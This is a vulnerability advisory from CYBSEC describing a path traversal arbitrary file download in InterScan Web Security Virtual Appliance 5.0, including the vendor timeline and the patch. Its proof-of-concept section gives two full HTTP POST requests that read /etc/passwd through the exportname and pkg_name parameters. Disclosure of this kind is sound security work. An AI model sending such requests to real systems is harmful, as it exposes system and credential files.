Advisory Name: Arbitrary File Download in InterScan Web Security Virtual Appliance 5.0

Internal Cybsec Advisory Id: 2010-0606

Vulnerability Class: Arbitrary File Download

Release Date: To be confirmed

Affected Applications: Confirmed in InterScan Web Security Virtual Appliance 5.0. Other versions may also be affected.

Affected Platforms: Red Hat nash 5.1

Local / Remote: Remote

Severity: High – CVSS: 6.8 (AV:N/AC:L/Au:S/C:C/I:N/A:N)

Researcher: Ivan Huertas

Special thanks to: Nahuel Grisolia

Vendor Status: Patched

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Vulnerability Description:

The vulnerability is caused due to an improper check in “com.trend.iwss.gui.servlet.exportreport” servlet, allowing the download of arbitrary files. Using a path traversal technique, an attacker can change the original path to the file, modifying the parameter “exportname”.

Servlet “com.trend.iwss.gui.servlet.ConfigBackup” is also affected by this vulnerability in the parameter “pkg_name”

Proof of Concept:

1) Using path traversal technique, an attacker can select the file to download when trying to export a report.

```
POST /servlet/com.trend.iwss.gui.servlet.exportreport HTTP/1.1
Host: xxx.xxx.xx.xx:1812
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://xxx.xxx.xx.xx:1812/summary_threat.jsp
Cookie: JSESSIONID=D122F55EA4D2A5FA1E7AE4582085F370
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

op=refresh&summaryinterval=7&exportname=../../../../../../../../../../etc/passwd&exportfilesize=443
```

2) The virtual appliance has a functionality able to backup the current config. One of the POST needed to download the config sets the file to download client side:

```
POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1
Host: xx.xx.xx.xx:1812
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://xx.xx.xx.xx:1812/config_backup_result.jsp?op=export
Cookie: JSESSIONID=D122F55EA4D2A5FA1E7AE4582085F370
Content-Type: application/x-www-form-urlencoded
Content-Length: 46

op=2&ImEx_success=1&pkg_name=/etc/passwd%0D%0A
```

Impact:

Access to sensitive information about the server.

Solution:

Apply the patch that can be found in

http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=249&regs=NABU&lang_loc=1

Vendor Response:

2009-03-26 – Vulnerability was identified
2010-04-09 – Vendor contacted
2010-04-15 – Vendor response

2010-06-21 – Vendor released fixed version
2010-06-22 – Vulnerability published

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ihuertas <at> cybsec <dot> com

About CYBSEC S.A. Security Systems:

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com